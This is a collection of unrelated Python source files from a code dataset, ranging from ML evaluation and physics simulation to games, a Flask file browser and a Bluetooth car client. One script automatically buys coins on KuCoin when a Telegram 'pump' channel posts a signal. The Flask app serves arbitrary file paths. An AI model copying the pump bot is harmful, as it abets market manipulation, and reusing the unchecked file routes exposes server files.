gates['z_5']\n\t\t\t\t\tactivations = activations['5']\n\n\t\t\t\t\tsentece_length=gates.shape[1]\n\t\t\t\t\tlayer_average += ( np.sum(gates) / sentece_length)\n\n\t\t\t\t\tprint('Sentence length = {}'.format(sentece_length))\n\t\t\t\t\tprint('Number of updates = {}'.format(np.sum(gates)))\n\t\t\t\t\tprint('Percentage of updates = {}'.format(( np.sum(gates) / sentece_length)))\n\t\t\t\t\tprint('label[{}]\tprediction[{}]\taccuracy[{}]'.format(val_label,val_prediction,example_accuracy))\n\t\t\t\t\tfor frame in range(sentece_length):\n\t\t\t\t\t\tprint('\tgate[{}] activation[{}]'.format(gates[0,frame,0],activations[0,frame]))\n\n\t\t\t\t\tprint('')\n\n\t\t\t\t\tsentence+=1\n\n\t\t\texcept tf.errors.OutOfRangeError:\n\t\t\t\taccuracy /= config.num_examples_val\n\t\t\t\tlayer_average /= config.num_examples_val\n\n\t\t\t\tprint('Overall accuracy = ',accuracy)\n\t\t\t\tprint('Overall percentage of updated = ',layer_average)\n\n\n\ndef main(argv=None): # pylint: disable=unused-argument\n eval()\n\nif __name__ == '__main__':\n tf.app.run()","sub_path":"DevModels/SkipGRU_audio/skip_gru_evaluation.py","file_name":"skip_gru_evaluation.py","file_ext":"py","file_size_in_byte":7061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"10424483","text":"#----------\n#author:someone120\n#----------\nimport pypinyin as py\nimport lxml\nimport sqlite3 as sql\nfrom urllib import request as url\n#导包结束\ndef run():\n print(get(1).decode('gbk'))\n\ndef get(num):\n \"\"\"\n num为页码\n \"\"\"\n header={\n 'User-Agent':'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.143 Mobile Safari/537.36'\n }\n resp=url.Request('http://www.hydcd.com/cy/chengyu/cy%s.htm'%(str(num).zfill(5)),headers=header)\n resp=url.urlopen(resp)\n return resp.read()\n\n\n\n\nif (__name__ == '__main__'):\n run()\n","sub_path":"yigedinglia/reptile.py","file_name":"reptile.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"344231509","text":"import numpy as np\nimport numba\n\n@numba.njit(cache = True)\ndef initial_energy(spin_matrix, num_spins):\n \"\"\"\n Calculating the initial energy and the initial magnetization for the\n spin matrix\n\n Input:\n spin_matrix: The initial lattice (ordered or random) as a matrix\n num_cycles: Number of Monte Carlo cycles\n\n Output:\n E: Initial energy\n M: Initial magnetization\n \"\"\"\n E = 0\n M = spin_matrix.sum()\n\n for i in range(num_spins):\n for j in range(num_spins):\n left = spin_matrix[i-1, j] if i > 0 else spin_matrix[num_spins-1, j]\n above = spin_matrix[i, j-1] if j > 0 else spin_matrix[i, num_spins-1]\n\n E -= spin_matrix[i,j]*(left + above)\n\n return E, M\n\n\n@numba.njit(cache=True)\ndef MC(spin_matrix, num_cycles, temperature):\n \"\"\"\n The main program which uses the Metropolis algorithm for calculating\n expectation values for a lattice of a size.\n\n Input:\n spin_matrix: The initial lattice (ordered or random) as a matrix\n num_cycles: Number of Monte Carlo cycles\n temperature: Temperature\n\n Output:\n exp_values: A matrix with the energy, magnetization, energy**2, magnetization**2,\n absolute value of the magnetization and the counter for finding the number of\n accepted configurations\n \"\"\"\n\n num_spins = len(spin_matrix)\n exp_values = np.zeros((int(num_cycles), 6))\n E, M = initial_energy(spin_matrix, num_spins)\n\n # Precalculate the probabilities for the energy difference:\n w = np.zeros(17, np.float64)\n for delta_energy in range(-8, 9, 4):\n w[delta_energy+8] = np.exp(-delta_energy/temperature)\n\n accepted = 0\n\n # Start the Metropolis algorithm:\n for i in range(1, num_cycles+1):\n for j in range(num_spins*num_spins):\n ix = np.random.randint(num_spins)\n iy = np.random.randint(num_spins)\n\n left = spin_matrix[ix - 1, iy] if ix > 0 else spin_matrix[num_spins - 1, iy]\n right = spin_matrix[ix + 1, iy] if ix < (num_spins - 1) else spin_matrix[0, iy]\n\n above = spin_matrix[ix, iy - 1] if iy > 0 else spin_matrix[ix, num_spins - 1]\n below = spin_matrix[ix, iy + 1] if iy < (num_spins - 1) else spin_matrix[ix, 0]\n\n delta_energy = (2 * spin_matrix[ix, iy] * (left + right + above + below))\n\n if np.random.random() <= w[delta_energy+8]:\n spin_matrix[ix, iy] *= -1.0\n E += delta_energy\n M += 2*spin_matrix[ix, iy]\n accepted += 1\n\n exp_values[i-1,0] += E\n exp_values[i-1,1] += M\n exp_values[i-1,2] += E**2\n exp_values[i-1,3] += M**2\n exp_values[i-1,4] += np.abs(M)\n exp_values[i-1,5] += accepted\n\n return exp_values\n","sub_path":"Project4/CODES/ising_model.py","file_name":"ising_model.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"208510152","text":"import os\n\nsrc = '/home/yuki/x-siem/cell/www/src'\n\nfor root, dirs, files in os.walk(src):\n for file in files:\n if file.endswith(\".ts\"):\n f = open(os.path.join(root, file))\n file_str = [line.strip() for line in f if line.strip()]\n f.close()\n\n for l in file_str:\n print(l)\n\n # f = open(os.path.join(root, file), 'w')\n # f.write(file_str)\n # f.close()\n","sub_path":"text/replaceInFiles.py","file_name":"replaceInFiles.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"130614456","text":"from threading import Thread\n\nfrom config import kc_client, tel_client\nfrom kucoin.client import Client\nfrom telethon import events\nfrom rsrcs.useful_funcs import extract_coin_name, time_notification\nfrom rsrcs.coin_lib import sell_on_target, keyboard_sell\n\n# ESSENTIAL TUNABLE PARAMETERS!\nCHANNEL_NAME = 'pmptst' # kucoin_pumps OR KucoinPumpChannel OR PumpItUp\nCOIN_AMOUNT = '1000000' # coin amount to buy. Set this a high value to buy all of your current USDT\n\n# NON-ESSENTIAL\nTARGET_SELL_PERCENTAGE = 100\n\n\ndef main(sell_target=False):\n @tel_client.on(events.NewMessage(chats=CHANNEL_NAME))\n async def my_event_handler(event):\n print(event.raw_text)\n\n c_name = extract_coin_name(event.raw_text)\n order = kc_client.create_market_order(c_name + '-USDT', Client.SIDE_BUY, size=COIN_AMOUNT)\n entry_price = kc_client.get_fiat_prices(symbol=c_name)[c_name] # or take from bid?\n print(f\"{order} --- {entry_price}\")\n\n Thread(target=time_notification, args=[6]).start() # starting a thread which prints time elapsed every n secs\n\n num_decimals = kc_client.get_order_book(c_name + '-USDT')['asks'][0][0][::-1].find('.')\n deal_amount = f'%.{num_decimals}f' % (float(kc_client.get_order(order['orderId'])['dealSize']) * 0.999)\n # multiply by 0.999 to make sure we have enough balance to sell!\n keyboard_sell(coin_name=c_name,\n coin_amount=deal_amount) # enable keypress sell option. \"m\" for market and \"l\" for limit\n\n if sell_target:\n target_price = f'%.{num_decimals}f' % (float(entry_price) * ((TARGET_SELL_PERCENTAGE / 100) + 1))\n # the '%.2f' % is to limit decimals!\n sell_on_target(coin_name=c_name, target_price=target_price, coin_amount=deal_amount, time_to_check=0.7)\n\n tel_client.start()\n tel_client.run_until_disconnected()\n\n\nif __name__ == \"__main__\":\n main(sell_target=False)\n","sub_path":"pump.py","file_name":"pump.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"388904955","text":"# -*- coding: utf-8 -*-\r\nfrom flask import Flask,redirect,url_for,request\r\nfrom flask import render_template\r\nfrom werkzeug.utils import secure_filename\r\nfrom Handler import Handler\r\nfrom gevent import monkey\r\nfrom gevent.pywsgi import WSGIServer\r\n\r\nimport os\r\nimport sys\r\n\r\n#monkey.patch_all()\r\n\r\napp = Flask(__name__)\r\napp.config.from_object('config')\r\n#app.config.update(\r\n# DEBUG=True\r\n#)\r\nhandle =Handler(app)\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('main.html')\r\n\r\n@app.route('/compile/<path:folder>')\r\ndef compiler(folder):\r\n ret = handle.compiler(folder)\r\n return render_template('results.html',results=ret)\r\n\r\n@app.route('/scp/<path:folder>')\r\ndef scp(folder):\r\n ret = handle.scp(folder)\r\n return render_template('results.html',results=ret)\r\n\r\n@app.route('/test')\r\ndef test():\r\n return \"test\" \r\n\r\n@app.route('/ico/<file>')\r\ndef geticon(file):\r\n app.logger.debug(file)\r\n return handle.read_bin_file('ico/'+file)\r\n\r\n@app.route('/img/<path:file>')\r\ndef getimg(file):\r\n app.logger.debug(file)\r\n return handle.read_bin_file(file)\r\n\r\n@app.route('/dump/<path:directory>')\r\ndef dump(directory):\r\n handle.dump_directory(\"public/\"+directory)\r\n return \"done\"\r\n\r\n@app.route('/statistic/<file>')\r\ndef statistic(file): \r\n handle.statistic(\"public/mingshi/txt\")\r\n return\r\n\r\n@app.route('/statistic/topchar/<path:file>')\r\ndef topchar(file): \r\n dct=handle.topcharN(file,1)\r\n return render_template('dictionary.html',file=file,dct=dct)\r\n\r\n@app.route('/statistic/topword/<path:file>')\r\ndef topword(file): \r\n dct=handle.topcharN(file,2)\r\n return render_template('dictionary.html',file=file,dct=dct)\r\n\r\n@app.route('/statistic/topword3/<path:file>')\r\ndef topword3(file): \r\n dct=handle.topcharN(file,3)\r\n return render_template('dictionary.html',file=file,dct=dct)\r\n\r\n@app.route('/statistic/split/<path:file>')\r\ndef split(file): \r\n sentences=handle.split(file)\r\n return render_template('sentences.html',file=file,sentences=sentences)\r\n\r\n@app.route('/statistic/vector/<path:file>')\r\ndef vector(file): \r\n g=handle.gragh(file)\r\n return render_template('vector.html',file=file,sentences=\"vector\")\r\n\r\n@app.route('/statistic/markov/<path:file>')\r\ndef markov(file): \r\n sentences=handle.markov(file)\r\n return render_template('vector.html',file=file,sentences=sentences)\r\n\r\n\r\n\r\n@app.route('/mingshi')\r\ndef mingshi():\r\n files = sorted(os.listdir(\"public/mingshi/txt\"))\r\n return render_template('content.html',files=files)\r\n\r\n@app.route('/phone')\r\ndef phone():\r\n return render_template('phone.html')\r\n\r\n@app.route('/chapter/<int:cid>')\r\ndef chapter(cid):\r\n path=\"xml/\"+str(cid)+\".xml\"\r\n f=open(path,'r')\r\n content=[]\r\n for line in f:\r\n content.append(line)\r\n return \"\".join(content)\r\n #return render_template('chapter.html',chapterid=cid)\r\n\r\n\r\n@app.route('/mingshi/txt/<filename>')\r\ndef show_chapter(filename):\r\n content = handle.read_txt_file('public/mingshi/txt/'+filename)\r\n return render_template('chapter.html',sentences=content,file=filename)\r\n\r\n@app.route('/files/')\r\ndef current_dir():\r\n directory=\"public\"\r\n files= handle.read_dir(directory)\r\n return render_template('explorer.html',directory=directory,files=files)\r\n \r\n#@app.route('/files/<directory>')\r\n@app.route('/files/<path:directory>')\r\ndef explore_dir(directory):\r\n app.logger.debug(directory)\r\n if(os.path.isdir(directory)):\r\n files= handle.read_dir(directory)\r\n return render_template('explorer.html',directory=directory,files=files)\r\n elif directory.endswith(\"jpg\"):\r\n #return handle.read_bin_file(directory)\r\n return render_template('picture.html',directory=directory)\r\n else:\r\n lines=handle.read_txt_file(directory)\r\n return render_template('readfile.html',directory=directory,lines=lines)\r\n \r\n@app.route('/vivo',methods=['POST', 'GET'])\r\ndef vivo():\r\n if request.method == 'POST':\r\n f = request.files['file']\r\n basepath = os.path.dirname(__file__)\r\n upload_path = os.path.join(basepath, 'vivo',secure_filename(f.filename))\r\n f.save(upload_path)\r\n return redirect(url_for('vivo'))\r\n else:\r\n return render_template('vivo.html')\r\n\r\n@app.route('/user/<username>')\r\ndef show_user_profile(username):\r\n # show the user profile for that user\r\n return 'User %s' % username\r\n\r\n@app.route('/post/<int:post_id>')\r\ndef show_post(post_id):\r\n # show the post with the given id, the id is an integer\r\n return 'Post %d' % post_id\r\n\r\n\r\nif __name__ == '__main__':\r\n if sys.getdefaultencoding() != 'utf-8':\r\n reload(sys)\r\n sys.setdefaultencoding('utf-8')\r\n default_encoding = sys.getdefaultencoding()\r\n #http_server = WSGIServer(('', 5000), app)\r\n #http_server.serve_forever()\r\n app.run(debug=True)","sub_path":"Web/flask2/Web.py","file_name":"Web.py","file_ext":"py","file_size_in_byte":4857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"106909557","text":"import json\nimport requests\nfrom datetime import datetime, timedelta\n\nfrom flask import request\nfrom flask_cors import cross_origin\nimport httplib2\nimport jwt\n\nfrom catalog.app import app\nfrom catalog.helpers import get_user_from_email\nfrom catalog.create_response import json_error_response, create_json_response\nfrom catalog.serialize import user_schema\nfrom catalog.config import JWT_SECRET, CLIENT_ID, EXPIRY_TIME\nfrom catalog._decoraters import add_session\n\n\n@cross_origin()\n@app.route('/gconnect/', methods=['POST'])\n@add_session\ndef gconnect(session):\n \"\"\"gconnect proves a jwt encoded token that can be used to make future\n requests to this server, for api calls that require user authentication.\n It also returns the user's email.\n\n The client should store the token that gconnect returns in its header,\n in field called 'Authorization'.\n\n In order to get this token, gconnect must be provided with a valid\n access_token to google oauth. The json response must look something like\n this.\n\n >>> {\"access_token\": GOOGLE_OAUTH_ACCESS_TOKEN}\n \"\"\"\n try:\n access_token = request.get_json()['access_token']\n except (KeyError, TypeError):\n return json_error_response(\"invalid access token\", 400)\n\n url = ('https://www.googleapis.com/oauth2/v1/tokeninfo?access_token={}'\n .format(access_token))\n\n h = httplib2.Http()\n result = json.loads(h.request(url, 'GET')[1])\n\n if result.get('error') is not None:\n return create_json_response(result.get('error'), 500)\n\n # Verify that the access token is valid for this app.\n if result['issued_to'] != CLIENT_ID:\n return json_error_response(\n \"Token's client ID does not match app's.\", 401)\n\n # Get user info\n userinfo_url = \"https://www.googleapis.com/oauth2/v1/userinfo\"\n params = {'access_token': access_token,\n 'alt': 'json'}\n\n google_response = requests.get(userinfo_url, params=params).json()\n\n user_params = {\n 'name': google_response['name'],\n 'email': google_response['email'],\n 'picture': google_response['picture']\n }\n new_user, errors = user_schema.load(user_params, session=session)\n if errors:\n return json_error_response(\n \"Google returned empty email address\", 400)\n\n user = get_user_from_email(user_params['email'], session)\n if user:\n user.name = new_user.name\n else:\n session.add(new_user)\n session.commit()\n\n expiry_date = datetime.utcnow() + timedelta(seconds=EXPIRY_TIME)\n encoded = jwt.encode(\n {\"email\": new_user.email, \"exp\": expiry_date},\n JWT_SECRET, algorithm='HS256')\n\n return create_json_response(\n {\"Authorization\": encoded,\n \"email\": user_params['email'],\n \"user_id\": user.id if user else new_user.id},\n 200)\n","sub_path":"catalog/handlers/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"52540311","text":"from SimConnect import Plane, Measurement\n\nfrom unittest import TestCase\n\nimport logging\nimport asyncio\n\nLOGGER = logging.getLogger(__name__)\nloggers = [logging.getLogger(name) for name in logging.root.manager.loggerDict]\nfor logger in loggers:\n logger.setLevel(logging.INFO)\n\n\nLOGGER.info(\"START\")\n\npl = Plane()\n\nwhile not pl.sm.quit:\n loop = asyncio.get_event_loop()\n tasks = [pl.async_get(Measurement.altitude), pl.async_get(Measurement.longitude)]\n a, b = loop.run_until_complete(asyncio.gather(*tasks))\n LOGGER.info(\"alt={a}, long()={b}\".format(**vars()))\n\npl.sm.exit()","sub_path":"local_example_plane_async.py","file_name":"local_example_plane_async.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"183933835","text":"import numpy as np\nimport pygame\nimport sys\nfrom pygame.locals import *\nfrom math import inf\n\ndef is_valid_move(board, row, col):\n\treturn board[row][col] == 0\n\ndef draw_board():\n\tfor row in range(3):\n\t\tfor col in range(3):\n\t\t\tif board[row][col] == 1:\n\t\t\t\tscreen.blit(o_image, ((col*200)+8, (row*200)+8))\n\t\t\telif board[row][col] == -1:\n\t\t\t\tscreen.blit(x_image, ((col*200)+8, (row*200)+8))\n\ndef win(state, player):\n\n\twin_state = [\n\t\t[state[0][0], state[0][1], state[0][2]],\n\t\t[state[1][0], state[1][1], state[1][2]],\n\t\t[state[2][0], state[2][1], state[2][2]],\n\t\t[state[0][0], state[1][0], state[2][0]],\n\t\t[state[0][1], state[1][1], state[2][1]],\n\t\t[state[0][2], state[1][2], state[2][2]],\n\t\t[state[0][0], state[1][1], state[2][2]],\n\t\t[state[2][0], state[1][1], state[0][2]],\n\t]\n\n\tif [player, player, player] in win_state:\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef game_over(state):\n\treturn win(state, COMP) or win(state, HUMAN)\n\ndef evaluate(state):\n\n\tif win(state, COMP):\n\t\treturn 1\n\telif win(state, HUMAN):\n\t\treturn -1\n\n\telse:\n\t\treturn 0\n\ndef empty_cells(board):\n\n\tcells = []\n\n\tfor row in range(3):\n\t\tfor col in range(3):\n\t\t\tif board[row][col] == 0:\n\t\t\t\tcells.append([row, col])\n\n\treturn cells\n\n\ndef display_message(msg):\n\ttext = game_font.render(msg, True, white, blue)\n\ttext_rect = text.get_rect(center=(WIDTH//2,HEIGHT//2))\n\tscreen.blit(text, text_rect)\n\n\ndef minimax(state, depth, player):\n\n\tif player == COMP:\n\t\tbest = [-1, -1, -inf]\n\telse:\n\t\tbest = [-1, -1, inf]\n\n\tif game_over(state) or depth == 0:\n\t\tscore = evaluate(board)\n\t\treturn [-1, -1, score]\n\n\tfor cell in empty_cells(state):\n\t\trow, col = cell\n\t\tstate[row][col] = player\n\t\tscore = minimax(state, depth - 1, -player)\n\t\tstate[row][col] = 0\n\t\tscore[0], score[1] = row, col\n\n\n\t\tif player == COMP:\n\t\t\tif score[2] > best[2]:\n\t\t\t\tbest = score # max value\n\n\t\telse:\n\t\t\tif score[2] < best[2]:\n\t\t\t\tbest = score # min value\n\n\treturn best\n\npygame.init()\n\nWIDTH, HEIGHT = 600, 600\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption(\"Tic Tac Toe\")\n\nbg_image = pygame.image.load(\"background.png\")\nbg_image = pygame.transform.scale(bg_image, (600,600))\n\nboard = np.zeros((3,3))\n\n\nCOMP = 1\nHUMAN = -1\n\nTURN = 0\n\no_image = pygame.image.load(\"o.png\")\nx_image = pygame.image.load(\"x.png\")\n\ngame_font = pygame.font.SysFont('arial', 70)\n\nwhite = pygame.Color('white')\nblue = pygame.Color(\"#8114FF\")\n\nwhile True:\n\tfor event in pygame.event.get():\n\t\tif event.type == QUIT:\n\t\t\tpygame.quit()\n\t\t\tsys.exit()\n\n\n\t\tif event.type == MOUSEBUTTONDOWN:\n\t\t\tx,y = event.pos\n\n\t\t\trow = y//200\n\t\t\tcol = x//200\n\n\n\t\t\tif is_valid_move(board, row, col):\n\t\t\t\tboard[row][col] = -1\n\t\t\t\tdepth = len(empty_cells(board))\n\t\t\t\tcomp_move = minimax(board, depth, COMP)\n\t\t\t\trow, col = comp_move[0], comp_move[1]\n\t\t\t\tboard[row][col] = 1\n\n\n\n\tscreen.blit(bg_image, (0,0))\n\tdraw_board()\n\tpygame.display.update()\n\n\tif game_over(board):\n\t\tif evaluate(board) == 1:\n\t\t\tdisplay_message(\" Computer won! \")\n\t\telse:\n\t\t\tdisplay_message(\" You won! \")\n\n\t\tpygame.display.update()\n\t\tpygame.time.delay(3000)\n\t\tboard = np.zeros((3,3))\n\n\n\tif len(empty_cells(board)) == 0 and evaluate(board) == 0:\n\t\tdisplay_message(\" Its a draw \")\n\t\tpygame.display.update()\n\t\tpygame.time.delay(3000)\n\t\tboard = np.zeros((3,3))\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"525929348","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Spyder Editor\n \n Author: \n YihangBao\n 2018011890\n \n Purpose: \n First python class homework in spring semester, 2020\n This edtion was for the first homework. In this edition we support int float and string generation.\n The whole class was decorated here but the function gener and picker are seperated, which remain to be \n combined in the second home work\n \n Introduction:\n A class for generate some random numbers or strings and pick some of them owing to your need\n \n Special Tips:\n Using examples please look at Random_gener_picker_test.py\n \n Created: 22/4/2020\n \n Last modified: 15/6/2020\n \n *********** Modified ***********\n Date: 15/6/2020\n Content: This file was modified to meet the requirement of the homework1\n Modified by Yihang Bao\n\"\"\"\nimport random\nfrom functools import wraps\n\n\n######################################################################################################################\nclass Random_gener_picker(object):\n '''\n Attentions:\n This is a decorated class, you may use it by '@', examples please look at Random_gener_picker_test.py \n at the same dictionary. \n \n Please check all the using details below and in Random_gener_picker_test.py before using\n '''\n \n #------------------------------------------------------------------------------------------------------------------- \n def __init__(self,datatype,datarange,num,strlen,*args):\n '''\n Introduction\n ------------\n constructor\n \n \n Parameters\n ----------\n datatype: the type of the random data you need, it now only supports int,float or str\n \n datarange: if your datatype is int or float, this will be a list of two elements, like[a,b]\n which means the random numbers generate are bigger than a, smaller than b(b not included).\n And if your datatype is str, the datarange will be a string, it will pick chars from it \n \n num: The number of digits or strings you want to generate\n \n strlen: This one is quite special. It means how many letters in one string. Obviously we\n needn't it while the datatype is int or float. However, according to the 'args' behind, we can't\n make it an omissible parameter, so when your datatype is int or float we still need to input\n something to fill it.\n \n *args: variable parameter, the conditions you need. For datatype in int or float, you should \n begin with '<' or '>', following a number behind. Just like '>100', '<500'.\n If the datatype is str, it begins with 'A' or 'O', A means and, we should meet all the conditions\n O means or, we only need to meet one of the conditions. String followed are the substrings you\n want them to have. Just like 'Aat', 'Oyh'. And pay attention, the condtions in one time should\n be purely A or O.\n \n \n ----------\n '''\n self.datatype = datatype\n self.datarange = datarange\n self.num = num\n self.strlen = strlen\n self.args = args\n #print(self.pick(datatype,self.genner(datatype,datarange,num,strlen),args))\n \n #-------------------------------------------------------------------------------------------------------------------\n def __call__(self, func, *args, **kwargs):\n '''\n Introduction\n ------------\n Rewrite __call__ function in order to make it a decorative class\n \n '''\n @wraps(func) # To keep its own namespace\n def wrapper(*args, **kwargs):\n result = self.pick(self.datatype,self.gener(self.datatype,self.datarange,self.num,self.strlen),self.args)\n return func(result, *args, **kwargs)\n return wrapper\n \n #------------------------------------------------------------------------------------------------------------------- \n def Input_checker(self, datatype, datarange, num, strlen):\n '''\n Introduction\n ------------\n Check if the input parameter meet the basic requirment\n \n Parameters\n ----------\n Introduced in __init__\n\n '''\n if num<=0:\n raise Exception(\"num should bigger than 0\")\n if datatype is int:\n if isinstance(datarange,list)==False:\n raise Exception(\"Datarange should be a list!\",type(datarange))\n if len(datarange)!=2:\n raise Exception(\"Datarange should have 2 numbers!\")\n if datarange[1]-datarange[0]<=0:\n raise Exception(\"The second number should bigger than the first one!\")\n if datarange[1]-datarange[0]<num:\n raise Exception(\"The number waiting to be chosen shouldn't less than the number you need!\")\n if datatype is float:\n if isinstance(datarange,list)==False:\n raise Exception(\"Datarange should be a list!\",type(datarange))\n if len(datarange)!=2:\n raise Exception(\"Datarange should have 2 numbers!\")\n if datarange[1]-datarange[0]<=0:\n raise Exception(\"The second number should bigger than the first one!\")\n if datatype is str:\n if isinstance(datarange,str)==False:\n raise Exception(\"Datarange should be a str!\",type(datarange))\n \n #-------------------------------------------------------------------------------------------------------------------\n def gener(self, datatype, datarange, num, strlen=10):\n '''\n Introduction\n ------------\n Core part of generate the items you need, format showed in Random_gener_picker_test.py\n \n Parameters\n ----------\n Introduced in __init__\n\n '''\n try:\n self.Input_checker(datatype, datarange, num, strlen) #check the input legal or not\n ans = set() # a set contains random results\n if datatype is float:\n while len(ans)<num:\n ans.add(random.random()*(datarange[1]-datarange[0])+datarange[0]) #random method can generate numbers in [0..1]\n elif datatype is int:\n while len(ans)<num:\n ans.add(int(random.random()*(datarange[1]-datarange[0])+datarange[0]))\n elif datatype is str:\n while len(ans)<num:\n ans.add(''.join(random.sample(datarange,strlen)))\n return ans\n except Exception as e:\n print(str(e)) #print the error name\n print('This Error occured when gennerating!!!!!')\n \n #-------------------------------------------------------------------------------------------------------------------\n def pick(self, datatype, dataset, ar):\n '''\n Introduction\n ------------\n find numbers and strings that meet the requiement, format showed in Random_gener_picker_test.py\n \n Parameters\n ----------\n Initailly ar is *args, but the ar here we just recieve the args temple from __init__.\n Others are introduced in __init__\n\n '''\n try:\n ans = dataset #ans contains the result\n tempset = set() #it a temporary set using in picking\n if datatype is int:\n for com in ar:\n numb = int(com[1:]) #the first character is > or < so we should splite them\n tempset.clear()\n if com[0]=='>':\n for item in filter(lambda x:x>numb, ans): # pick numbers bigger than numb\n tempset.add(item) #add items meet the requirement\n ans = tempset.copy() #copy it to ans\n elif com[0]=='<':\n for item in filter(lambda x:x<numb, ans):\n tempset.add(item) #add items meet the requirement\n ans = tempset.copy() #copy it to ans\n else: #the first character must > or <\n raise Exception(\"Unsupported operator '\" + com[0] + \"'\")\n return ans\n elif datatype is float: #do the same to float\n for com in ar:\n numb = float(com[1:]) #the first character is > or < so we should splite them\n tempset.clear()\n if com[0]=='>':\n for item in filter(lambda x:x>numb, ans): # pick numbers bigger than numb\n tempset.add(item) #add items meet the requirement\n ans = tempset.copy() #copy it to ans\n elif com[0]=='<':\n for item in filter(lambda x:x<numb, ans):\n tempset.add(item) #add items meet the requirement\n ans = tempset.copy() #copy it to ans\n else:\n raise Exception(\"Unsupported operator '\" + com[0] + \"'\")\n return ans\n elif datatype is str:\n tempset.clear()\n flag1 = False #flag1 and flag2 are designed to check if the input start with all 'O' or all 'A'\n flag2 = False\n for com in ar:\n strb = str(com[1:]) #the first character is A or O so we should splite them\n if com[0]=='O':\n flag1=True\n if flag2:\n raise Exception(\"It should all be A or all be O!\")\n for item in filter(lambda x:x.find(strb)!=-1, ans): #find the given string\n tempset.add(item) #add items meet the requirement\n elif com[0]=='A':\n flag2=True\n if flag1:\n raise Exception(\"It should all be A or all be O!\")\n tempset.clear()\n for item in filter(lambda x:x.find(strb)!=-1, ans): #find the given string\n tempset.add(item) #add items meet the requirement\n ans = tempset.copy()\n else:\n raise Exception(\"Unsupported operator '\" + com[0] + \"'\")\n if flag1: #flag1 means command is O\n return tempset\n else:\n return ans\n else:\n raise Exception(\"Unsupported Type!\",datatype)\n except Exception as e:\n print(str(e))\n print('This Error occured when picking!!!!!')\n\n","sub_path":"包亦航2018011890/The_final_edition_of_all_the_homework/Random_filter_not_dec(first_homework)/Random_gener_picker_first.py","file_name":"Random_gener_picker_first.py","file_ext":"py","file_size_in_byte":10758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"135023278","text":"\"\"\"\n------------------------------------------------------------------------------------------------------------------------\nJustin Keeling\nEGEN-310R: Multidisciplinary Engineering Design\nMontana State University\n6 December, 2019\n------------------------------------------------------------------------------------------------------------------------\nNote:\n- Uses Bluetooth wireless protocol.\n\nOverview:\n- Client class is a client connection to a server over Bluetooth\n- Client object sends data to the server.\n\nUnique Design:\n- Eliminate weight sent to server.\n - Results in faster data sending, no buffer overload, server does not process redundant data\n- 'current_action' variable stops redundant data from being sent.\n- since only sent once, the server can act accordingly to combination commands when a released or pressed.\n- Can be run WITH or WITHOUT the application.\n\nReference:\n- https://pynput.readthedocs.io/en/latest/keyboard.html\n------------------------------------------------------------------------------------------------------------------------\n\"\"\"\nfrom bluetooth import *\nfrom pynput.keyboard import Listener\nimport time\n\n\nclass Client:\n \"\"\"\n Client reaches out to a discoverable Bluetooth connection; Sends data (does not receive data)\n \"\"\"\n def __init__(self):\n self.server_socket = None\n self.serverMACAddress = None # \"DC:A6:32:37:E6:48\" initially hardcoded to enable a faster connection\n self.port = 1 # port to use for connection in wireless protocol Bluetooth\n\n self.current_action = \"\" # controls what is sent to the user and to keep the state of an action when ONE ...\n # ... key in a combination is released.\n\n # possible velocity updates, commands for motors (both singular and combination)\n self.possible_data = ['w', 'a', 's', 'd', 'q'] # single\n self.possible_combos = ['wa', 'aw', 'wd', 'dw', 'sd', 'ds', 'sa', 'as'] # combos\n self.speed_accel_data = ['up', 'down', 'left', 'right'] # arrow keys\n\n def discover(self):\n \"\"\"\n Scan for nearby bluetooth devices.\n :return: List of nearby devices\n \"\"\"\n nearby_devices = discover_devices(lookup_names=True)\n return nearby_devices\n\n def connect_to_server(self, server_mac):\n \"\"\"\n Given a mac address of a nearby device, try and make a connection to a server.\n :param server_mac: Mac address of the desired server.\n :return: None\n \"\"\"\n self.server_socket = BluetoothSocket(RFCOMM) # uses RFCOMM Bluetooth protocol\n self.serverMACAddress = server_mac # server mac address to establish a connection to\n self.server_socket.connect((self.serverMACAddress, self.port)) # connect\n print(\"Connection made! ---- Server Mac Address: %s ---- Port in use: %s\" % (\n self.serverMACAddress, self.port)) # prompt\n\n def handle_keyboard_data(self):\n \"\"\"\n This function handles the data from the client end. A listener is used to listen to the keyboard and use the\n appropriate functions when pressed/released.\n :return: None\n \"\"\"\n with Listener(on_press=self._pressed,\n on_release=self._released)as listener: # https://pynput.readthedocs.io/en/latest/keyboard.html\n listener.join()\n time.sleep(0.1) # time buffer before closing\n self.server_socket.close() # close the connection to server\n\n def _pressed(self, key):\n \"\"\"\n Listener function when a key is pressed.\n :param key: The 'key' pressed on keyboard\n :return: None\n \"\"\"\n if key is 'q':\n self.server_socket.send('q')\n time.sleep(0.2)\n quit()\n try:\n if key in self.possible_data and len(self.current_action) <= 2:\n # its possible, a combo can be added, and is not the last redundant data\n if len(self.current_action) is 0:\n self.current_action += key # current action \"\" can be concatenated\n self.server_socket.send(self.current_action) # single command\n print(\"sending: %s\" % self.current_action)\n elif 